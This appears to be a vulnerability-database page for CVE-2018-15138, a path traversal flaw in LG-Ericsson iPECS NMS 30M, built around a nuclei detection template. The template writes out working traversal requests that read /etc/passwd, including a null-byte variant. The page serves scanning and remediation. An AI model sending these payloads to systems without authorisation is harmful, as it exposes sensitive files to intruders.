HexBrain

Browse / CVEs / CVE-2018-15138

CVE-2018-15138· ericssonlg / ipecs nms· CWE-22

LG-Ericsson iPECS NMS 30M - Local File Inclusion

highseverity
7.5CVSS score
12.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data ; GET {{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-15138 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-15138

info:
  name: LG-Ericsson iPECS NMS 30M - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018080070
    - https://www.exploit-db.com/exploits/45167/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15138
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15138
    cwe-id: CWE-22
    epss-score: 0.12693
    epss-percentile: 0.96294
    cpe: cpe:2.3:a:ericssonlg:ipecs_nms:30m-2.3gn:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ericssonlg
    product: ipecs_nms
  tags: cve2018,cve,ericsson,lfi,traversal,edb,ericssonlg,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data"
      - "{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from